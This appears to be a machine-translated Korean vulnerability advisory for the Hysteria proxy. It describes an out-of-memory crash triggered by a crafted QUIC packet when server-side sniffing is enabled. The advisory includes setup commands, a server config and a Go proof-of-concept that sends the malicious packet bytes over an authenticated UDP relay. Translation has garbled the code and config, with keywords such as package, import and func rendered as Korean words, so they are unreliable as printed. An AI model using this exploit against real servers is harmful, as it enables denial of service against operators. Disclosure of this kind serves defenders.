Hysteria: 스니프가 활성화되면 특별히 구성된 quic 패키지가 서버 OOM을 충돌시킬 수 있습니다.
특별하게 구성된 quic 패키지는 스니프가 활성화되면 서버 OOM에 충돌을 일으킬 수 있습니다.
서버에서 스니프가 활성화되면 유효한 연결을 통해 서버에 UDP 트래픽을 전달하고 엄청난 암호화 길이를 구성하도록 요청할 수 있습니다. 서버는 이 길이에 따라 메모리를 할당하여 OOM을 발생시킵니다.
openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null
서버.yaml
들어보세요: :8443
TLS:
인증서: localhost.crt
키: localhost.key
인증:
유형: 비밀번호
비밀번호: mypassword
냄새를 맡다:
활성화: 사실
아웃바운드:
- 이름 : my_direct
유형: 직접
기본값: 참
poc.go
패키지 메인
수입 (
"플래그"
"fmt"
"로그"
"그물"
"시간"
"github.com/apernet/hysteria/core/v2/client"
)
기능 메인() {
serverAddrStr := flag.String("서버", "127.0.0.1:8443", "히스테리아 서버 주소")
비밀번호 := flag.String("password", "mypassword", "Hysteria 서버 비밀번호")
플래그.Parse()
serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
c, _, err := client.NewClient(&client.Config{
ServerAddr: serverAddr, 인증: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
})
오류가 있는 경우 != nil {
log.Fatalf("연결 실패: %v", err)
}
c.Close()를 연기합니다.
var 악성QUICPacket = []byte{
0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,
0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,
0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,
0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,
0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,
}
udpConn, 오류 := c.UDP()
오류가 있는 경우 != nil {
fmt.Printf("[-] UDP 오류: %v\n", err)
}
targetAddr := fmt.Sprintf("8.8.8.8:443")
fmt.Printf("[*] '죽음' 패킷을 %s로 보내는 중...\n", targetAddr)
_ = udpConn.Send(악성QUICPacket, targetAddr)
// 패킷 전달을 보장하기 위해 더 오래 기다립니다.
시간.수면(3 * 시간.초)
fmt.Printf("[+] 완료.\n")
}
서버에서 스니핑이 활성화되면 유효한 비밀번호를 가진 사용자가 공격을 시작하여 서버의 메모리 부족(OOM)을 유발할 수 있습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준